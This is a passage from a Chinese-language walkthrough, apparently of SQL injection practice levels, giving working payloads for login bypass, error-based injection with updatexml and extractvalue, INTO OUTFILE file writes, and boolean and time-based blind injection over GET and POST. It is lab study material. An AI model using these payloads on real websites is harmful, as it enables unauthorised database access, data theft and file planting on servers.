1
?username=admin'--+&password=admin'

sql注入五-报错注入

此处使用updatexml()

1
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

或者用extractvalue()

1
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

查询表o

1
?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
1
?id=1' and extractvalue(1,concat(0x7e,(select id from database.table_name),0x7e)) --+

sql注入六-报错注入

与第五问查询语句完全相同,只有闭合方式不同,改为双引号即可。

sql注入七-文件写入

首先判断闭合方式,采用单引号发现不行,单引号加上注释仍然不行,说明一定有括号,我们尝试括号个数,得到括号为两个时能够闭合。

因为我们显示报错注入发现没有回显,它提示我们采用myqsl中的outfile函数写入文件

1
?id=-1')) union select 1,(select database()),3 into outfile '路径' --+

即可将查询结果写入!

sql注入八-布尔盲注

首先我们来判断闭合方式,输入单引号再注释,加入order by 发现能执行,说明将前面的单引号成功闭合,才能让语句执行。

然后来注入语句

1
2
?id=1' and length(database())>5 --+
?id=1' and ascii(substr((select database()),1,1)) > 115 --+#可以爆破

sql注入九-时间盲注

对于此关我们还无法判断闭合方式,因为单引号双引号注释后都能显示you are in哪怕用布尔盲注都没有显示,所以我们要采用时间盲注,有回显之后再测试闭合方式。

1
?id=1' and if(length(database())>5,sleep(3),1) --+

用了if语句来判断,即可通过回显时间爆出数据。

此时判断闭合方式,如果改为双引号,我们发现两种条件都是瞬间返回,说明条件语句没有执行!所以闭合方式为单引号。

1
?id=1' and if(ascii(substr((select database()),1,1))>110,sleep(3),1) --+

将布尔盲注的语句套上if即可。

sql注入十-时间盲注

只需要改为双引号闭合即可!

sql注入十一-POST注入

我们首先输入用户名密码随便输,然后load url

截屏2022-07-17 15.27.48

我们可以看闭合方式应该为单引号闭合,我们单引号之后加上注释符号即可。

1
passwd=admin' union select 1,database()#&submit=Submit&uname=admin

后面即可随意查询!

sql注入十二-POST注入

比上一问只是多了一个闭合难度

1
passwd=admin")order by 3#&submit=Submit&uname=admin

括起来闭合就可以了。其余都相同!

sql注入十三-POST报错注入

截屏2022-07-17 15.40.54

可以看到我们输入一个单引号,后面出来一个单引号一个括号,说明是单引号和括号闭合。

1
admin') order by 3#

即可回显。

截屏2022-07-17 15.43.40

但是我们输入正确是没有回显,尝试报错注入

1
admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

截屏2022-07-17 15.45.21

成功回显!

可以查询一下用户名比如:

1
passwd=admin')and updatexml(1,concat(0x7e,(select user()),0x7e),1)#&submit=Submit&uname=admin

sql注入十四-报错注入

只是改变了闭合方式,为双引号,其余和前面相同!

sql注入十五-POST时间盲注

我们在判断回显的时候,发现什么回显都没有,艹,直接选择时间盲注

截屏2022-07-17 15.56.46

1
admim'and if(length(database())>5,sleep(5),1)#

接下来用substr()函数等进行爆库。